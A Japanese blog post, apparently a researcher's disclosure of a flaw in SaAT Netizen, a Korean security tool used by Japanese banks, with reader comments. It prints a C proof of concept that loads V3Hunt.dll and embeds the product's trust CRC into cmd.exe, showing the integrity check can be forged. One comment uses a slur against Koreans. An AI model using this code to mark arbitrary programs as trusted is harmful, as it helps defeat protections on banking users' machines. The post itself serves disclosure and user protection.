日本の 都市・地方銀行で採用されている韓国製SaAT NetizenにSwiftKeyと同じ脆弱性

追加実験で、V3Hunt.dll で少し遊んでみることにしました。

以下実証プログラム

#include "stdafx.h"
#include <windows.h>

int main(int argc, char* argv[])
{
    char fileX[512];
    HINSTANCE hDll = LoadLibraryA("V3Hunt.dll");
    DWORD CRC = 0;
    DWORD CRCW = 0;
    DWORD result;
    FARPROC  V3Net_GetFileCRC = GetProcAddress(hDll,"V3Net_GetFileCRC");
    FARPROC  V3Net_CheckFileCRC = GetProcAddress(hDll,"V3Net_CheckFileCRC");
    FARPROC  V3Net_WriteFileCRC = GetProcAddress(hDll,"V3Net_WriteFileCRC");
    GetModuleFileNameA(0,fileX,512);
    while(fileX[lstrlenA(fileX)-1]!='\\' )fileX[lstrlenA(fileX)-1]=0;
// 今のフォルダにある CMD.EXE のフルパス取得
    lstrcatA(fileX,"cmd.exe");
    _asm{
        lea eax,CRC
        push eax
        lea eax,BYTE PTR fileX[0]
        push eax
        push 0
        call V3Net_GetFileCRC
        add esp,0xc
        mov result,eax
// CMD.EXEのV3CRCを取得

        lea eax,BYTE PTR fileX[0]
        push eax
        push 0
        push 0x444444 // CRC Test
        call V3Net_CheckFileCRC
        add esp,0xc
        mov result,eax
// CMD.EXEのV3CRCが 0x444444と一致するかチェック

        lea eax,BYTE PTR fileX[0]
        push eax
        push 0
        push DWORD PTR CRC
        call V3Net_CheckFileCRC
        add esp,0xc
        mov result,eax
// CMD.EXEのV3CRCが V3Net_GetFileCRCで取得したものと一致するかチェック

        lea eax,BYTE PTR fileX[0]
        push eax
        call V3Net_WriteFileCRC
        add esp,4
        mov result,eax
// CMD.EXEにV3CRCを埋め込む

        lea eax,CRCW
        push eax
        lea eax,BYTE PTR fileX[0]
        push eax
        push 0
        call V3Net_GetFileCRC
        add esp,0xc
        mov result,eax
// 埋め込んだ後のCMD.EXEにV3CRCを取得する

    }
    return 0;
}

V3Hunt.DLL がそのままサードパーティの実行ファイルでロードできちゃうの自体がやばいんですが
関数の説明行きます


本件について。

・脆弱性に対応中だが時間がかかる。
・利用者の不安を煽るため記事を取り下げてほしい。

という要望が来てるので、以下の対応をすることにしました

・経緯(この文章を見えるところに書く。
・詳細記事についてプライベートモードにし、修正後に記事を再度公開する。

システムの根底からの脆弱性なので対応にかなり時間がかかるのは予想できるんですが、
この脆弱性放置したまま、ユーザーに使わせるのは正直どうなのかなって思います。

・オフラインインストールのパッケージを作って、それを配布して、オンラインアップデートをしないようにさせる。
・オンラインアップデートの機能を暫定的に殺す。

とか、それなりに簡潔でしっかりした対応もできるはずなんですが、
銀行取引というクリティカルなジャンルを扱うにもかかわらず、それをせずに、こっそり修正してリリースってのは、
企業の本性が見えたような気がしてやな感じです。

SaAT Netizenを使っている場合は脆弱性対策として

・セキュリティソフトを必ず導入し、SaAT Netizen関連のアップデータ(MUpdate2.exe  など upの付く実行プログラム)のインターネットアクセスを遮断する。
・信頼できない Wifi ネットワークや Proxy /DNS は絶対使わない

が必要です

おすすめ

8件のフィードバック

  1. kikori より:

    酷すぎて余り言うことがありませんね
    劣化リバースエンジニアリングしてるだけのような気がしますが
    気のせいですかね・・・・

  2. batta より:

    なんとか拡散する方法は無いでしょうか?
    開発元もマスゴミも恐らく黙りでしょうし…

  3. 黒翼猫 より:

    スラドやガジェ速などのニュースサイトにタレこみます?
    『Simejiプライバシーロックの脆弱性を発見した黒翼猫氏、SaAT Netizenの脆弱性指摘』
    とか(笑)

  4. くまねこ より:

    是非、タレこみをお願いします。
    炎上するか否か、炎上内容によっては
    何かを動かすきっかけになりそうですね。
    LINEと違って導入を義務づけたり、推奨する
    銀行に揺さぶりが掛かる事を期待してます。

  5. kikori より:

    脆弱性報告する窓口としては
    IPAやJPCERT/CCがありますけど
    ソフトの知名度の低さから
    まともに取り合ってくれるかどうか・・・
    以前フリーウェアでも脆弱性報告されて
    修正された事ありましたから
    取り合わない事は無いとは思いますが
    報告するのが何分面倒という・・・

  6. miri_junk より:

     銀行は言葉の通じない下朝鮮企業とは直接契約ではないでしょう。代理店が切り替えないかぎり進展は無いのでしょうが、IBMだと独禁に触れそうなので第3者が経産省か総務省を経由して紹介を受けたほうが無難だと思います。まだ未導入の地銀とかあるし。北陸銀行等々。
     で、サートネチズンを排除するにしてもサートネチズン黙認の候補3社で存在すれば、パワーバランスで劣化が排除されるでしょうしそういう排除なら健全なのだと思います。

  7. 通りすがりのよっしー より:

    あれ?このセキュリティソフトは以前にも同じ脆弱性でIPAから注意喚起されていませんか?
    ttp://www.ipa.go.jp/security/vuln/documents/2005/JVN_AF02FB4B_nProtect.html

  8. 黒翼猫 より:

    それは、同じ韓国の別メーカーに作らせてたソフトですね。
    10年前にも同じセキュリティホールあったのに変わってないどころか、
    管理者権限で実行できるようになって凶悪になってますね

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です